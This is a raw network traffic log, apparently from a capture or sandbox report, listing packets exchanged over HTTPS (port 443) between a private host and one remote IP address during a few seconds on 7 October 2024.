Oct 7, 2024 06:45:52.268443108 CEST	49884	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.268456936 CEST	443	49884	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.365000963 CEST	443	49880	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.365303993 CEST	443	49880	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.365362883 CEST	49880	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.365375996 CEST	443	49880	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.365411043 CEST	443	49880	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.365461111 CEST	49880	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.368295908 CEST	49880	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.368313074 CEST	443	49880	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.368324995 CEST	49880	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.368333101 CEST	443	49880	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.443391085 CEST	49885	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.443434000 CEST	443	49885	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.443531036 CEST	49885	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.448482037 CEST	49885	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.448502064 CEST	443	49885	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.542695999 CEST	443	49881	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.570127010 CEST	49881	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.570189953 CEST	443	49881	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.570625067 CEST	49881	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.570638895 CEST	443	49881	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.575124979 CEST	443	49882	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.586905956 CEST	49882	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.586922884 CEST	443	49882	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.598257065 CEST	49882	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.598273993 CEST	443	49882	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.676506996 CEST	443	49881	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.676656961 CEST	443	49881	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.676726103 CEST	49881	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.676999092 CEST	49881	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.677036047 CEST	443	49881	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.677062035 CEST	49881	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.677076101 CEST	443	49881	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.695149899 CEST	443	49882	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.695230961 CEST	443	49882	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.695305109 CEST	49882	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.715662956 CEST	49886	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.715692043 CEST	443	49886	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.715790987 CEST	49886	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.715909958 CEST	49882	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.715909958 CEST	49882	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.715929031 CEST	443	49882	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.715950966 CEST	443	49882	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.737143040 CEST	49886	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.737159014 CEST	443	49886	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.769109964 CEST	49887	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.769160032 CEST	443	49887	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.769264936 CEST	49887	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.776735067 CEST	49887	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.776767969 CEST	443	49887	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.896794081 CEST	443	49883	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.904558897 CEST	443	49884	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.948779106 CEST	49883	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.948785067 CEST	49884	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.988751888 CEST	49883	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.988774061 CEST	443	49883	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.992461920 CEST	49883	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.992468119 CEST	443	49883	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.996351004 CEST	49884	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.996362925 CEST	443	49884	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:52.996756077 CEST	49884	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:52.996759892 CEST	443	49884	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.088424921 CEST	443	49885	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.088984013 CEST	49885	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.089015961 CEST	443	49885	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.089649916 CEST	49885	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.089654922 CEST	443	49885	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.091553926 CEST	443	49883	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.091734886 CEST	443	49883	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.091788054 CEST	49883	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.091837883 CEST	49883	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.091861010 CEST	443	49883	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.091873884 CEST	49883	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.091881037 CEST	443	49883	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.092088938 CEST	443	49884	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.092168093 CEST	443	49884	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.092220068 CEST	49884	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.092235088 CEST	443	49884	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.092299938 CEST	49884	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.092312098 CEST	443	49884	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.092313051 CEST	49884	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.092363119 CEST	443	49884	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.092366934 CEST	49884	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.092379093 CEST	443	49884	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.095313072 CEST	49888	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.095335007 CEST	443	49888	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.095396996 CEST	49888	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.095475912 CEST	49889	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.095506907 CEST	443	49889	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.095527887 CEST	49888	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.095541000 CEST	443	49888	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.095560074 CEST	49889	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.095674992 CEST	49889	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.095690012 CEST	443	49889	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.187558889 CEST	443	49885	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.187678099 CEST	443	49885	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.187788963 CEST	49885	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.188148022 CEST	49885	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.188160896 CEST	443	49885	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.188174009 CEST	49885	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.188183069 CEST	443	49885	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.191313028 CEST	49890	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.191337109 CEST	443	49890	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.191411972 CEST	49890	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.191621065 CEST	49890	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.191631079 CEST	443	49890	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.371423006 CEST	443	49886	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.371989965 CEST	49886	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.372018099 CEST	443	49886	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.372642994 CEST	49886	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.372648954 CEST	443	49886	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.452250957 CEST	443	49887	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.453059912 CEST	49887	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.453077078 CEST	443	49887	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.453617096 CEST	49887	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.453622103 CEST	443	49887	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.471023083 CEST	443	49886	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.471060991 CEST	443	49886	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.471103907 CEST	49886	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.471115112 CEST	443	49886	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.471129894 CEST	443	49886	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.471178055 CEST	49886	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.471566916 CEST	49886	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.471575975 CEST	443	49886	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.471601963 CEST	49886	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.471606016 CEST	443	49886	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.475430965 CEST	49891	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.475450993 CEST	443	49891	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.475522995 CEST	49891	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.475738049 CEST	49891	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.475749016 CEST	443	49891	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.557197094 CEST	443	49887	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.557336092 CEST	443	49887	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.557383060 CEST	49887	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.557979107 CEST	49887	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.557991982 CEST	443	49887	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.558001041 CEST	49887	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.558006048 CEST	443	49887	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.565957069 CEST	49892	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.566009998 CEST	443	49892	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.566081047 CEST	49892	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.567233086 CEST	49892	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.567254066 CEST	443	49892	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.797811031 CEST	443	49888	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.798134089 CEST	443	49889	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.798650980 CEST	49888	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.798670053 CEST	443	49888	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.798892975 CEST	49889	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.798916101 CEST	443	49889	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.799448013 CEST	49888	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.799459934 CEST	443	49888	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.799629927 CEST	49889	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.799643040 CEST	443	49889	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.892832041 CEST	443	49890	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.900590897 CEST	49890	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.900616884 CEST	443	49890	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.901123047 CEST	49890	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.901128054 CEST	443	49890	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.901501894 CEST	443	49889	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.901623011 CEST	443	49888	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.901699066 CEST	443	49888	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.901746988 CEST	49888	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.901750088 CEST	443	49889	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.901761055 CEST	443	49888	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.901808977 CEST	49889	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.901819944 CEST	443	49888	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.901864052 CEST	49888	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.902029037 CEST	49888	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.902045965 CEST	443	49888	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.902055025 CEST	49888	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.902061939 CEST	443	49888	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.902085066 CEST	49889	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.902102947 CEST	443	49889	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.902116060 CEST	49889	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.902122021 CEST	443	49889	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.906160116 CEST	49893	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.906258106 CEST	443	49893	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.906538963 CEST	49893	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.906821966 CEST	49893	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.906857014 CEST	443	49893	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.907181025 CEST	49894	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.907202959 CEST	443	49894	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:53.907279015 CEST	49894	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.907423019 CEST	49894	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:53.907448053 CEST	443	49894	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.002043962 CEST	443	49890	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.002163887 CEST	443	49890	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.002310038 CEST	49890	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.002790928 CEST	49890	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.002804995 CEST	443	49890	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.002815962 CEST	49890	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.002823114 CEST	443	49890	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.006851912 CEST	49895	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.006922007 CEST	443	49895	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.007016897 CEST	49895	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.007349968 CEST	49895	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.007369995 CEST	443	49895	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.155378103 CEST	443	49891	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.159353971 CEST	49891	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.159375906 CEST	443	49891	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.160022974 CEST	49891	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.160029888 CEST	443	49891	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.235696077 CEST	443	49892	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.242134094 CEST	49892	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.242157936 CEST	443	49892	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.243038893 CEST	49892	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.243046999 CEST	443	49892	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.259423018 CEST	443	49891	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.259502888 CEST	443	49891	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.259630919 CEST	49891	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.259942055 CEST	49891	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.259964943 CEST	443	49891	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.259978056 CEST	49891	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.259983063 CEST	443	49891	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.263751984 CEST	49896	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.263788939 CEST	443	49896	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.263880968 CEST	49896	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.264066935 CEST	49896	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.264082909 CEST	443	49896	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.339337111 CEST	443	49892	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.339540005 CEST	443	49892	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.339688063 CEST	49892	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.339979887 CEST	49892	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.339994907 CEST	443	49892	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.340010881 CEST	49892	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.340018034 CEST	443	49892	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.343506098 CEST	49897	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.343544960 CEST	443	49897	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.343682051 CEST	49897	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.343878984 CEST	49897	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.343904972 CEST	443	49897	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.553890944 CEST	443	49893	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.554050922 CEST	443	49894	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.554510117 CEST	49893	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.554577112 CEST	443	49893	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.554722071 CEST	49894	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.554757118 CEST	443	49894	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.555228949 CEST	49894	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.555239916 CEST	443	49894	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.555289030 CEST	49893	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.555299997 CEST	443	49893	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.652669907 CEST	443	49893	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.652692080 CEST	443	49894	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.652832985 CEST	443	49893	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.653093100 CEST	49893	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.653151989 CEST	49893	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.653151989 CEST	49893	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.653208017 CEST	443	49893	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.653229952 CEST	443	49893	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.653460026 CEST	443	49894	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.653568983 CEST	443	49894	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.653637886 CEST	49894	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.653686047 CEST	49894	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.653697968 CEST	443	49894	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.653732061 CEST	49894	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.653745890 CEST	443	49894	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.656507015 CEST	49898	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.656599998 CEST	443	49898	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.656647921 CEST	49899	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.656682968 CEST	443	49899	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.656696081 CEST	49898	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.656733990 CEST	49899	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.656882048 CEST	49898	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.656909943 CEST	49899	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.656918049 CEST	443	49898	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.656919003 CEST	443	49899	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.671802998 CEST	443	49895	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.672338009 CEST	49895	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.672367096 CEST	443	49895	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.672835112 CEST	49895	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.672842026 CEST	443	49895	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.796926022 CEST	443	49895	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.797096014 CEST	443	49895	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.797288895 CEST	49895	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.797364950 CEST	49895	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.797364950 CEST	49895	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.797405958 CEST	443	49895	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.797432899 CEST	443	49895	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.801084995 CEST	49900	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.801122904 CEST	443	49900	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.801209927 CEST	49900	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.801367998 CEST	49900	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.801378012 CEST	443	49900	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.912486076 CEST	443	49896	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.913356066 CEST	49896	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.913373947 CEST	443	49896	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:54.913988113 CEST	49896	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:54.913992882 CEST	443	49896	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.013056993 CEST	443	49896	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.013115883 CEST	443	49896	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.013176918 CEST	443	49896	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.013219118 CEST	49896	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.013267994 CEST	49896	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.018518925 CEST	49896	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.018534899 CEST	443	49896	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.018546104 CEST	49896	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.018551111 CEST	443	49896	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.023000956 CEST	443	49897	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.023758888 CEST	49901	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.023829937 CEST	443	49901	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.023904085 CEST	49901	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.026447058 CEST	49897	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.026474953 CEST	443	49897	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.027112961 CEST	49897	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.027126074 CEST	443	49897	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.027307034 CEST	49901	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.027347088 CEST	443	49901	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.127770901 CEST	443	49897	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.127924919 CEST	443	49897	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.127996922 CEST	49897	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.129337072 CEST	49897	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.129365921 CEST	443	49897	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.129390955 CEST	49897	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.129404068 CEST	443	49897	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.135333061 CEST	49902	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.135375023 CEST	443	49902	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.135459900 CEST	49902	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.135637045 CEST	49902	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.135649920 CEST	443	49902	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.321785927 CEST	443	49899	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.322593927 CEST	49899	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.322613001 CEST	443	49899	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.323282957 CEST	49899	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.323287964 CEST	443	49899	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.346741915 CEST	443	49898	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.347446918 CEST	49898	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.347484112 CEST	443	49898	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.348093033 CEST	49898	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:55.348105907 CEST	443	49898	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.419413090 CEST	443	49899	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.419632912 CEST	443	49899	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:55.419737101 CEST	49899	443	192.168.2.8	13.107.246.45
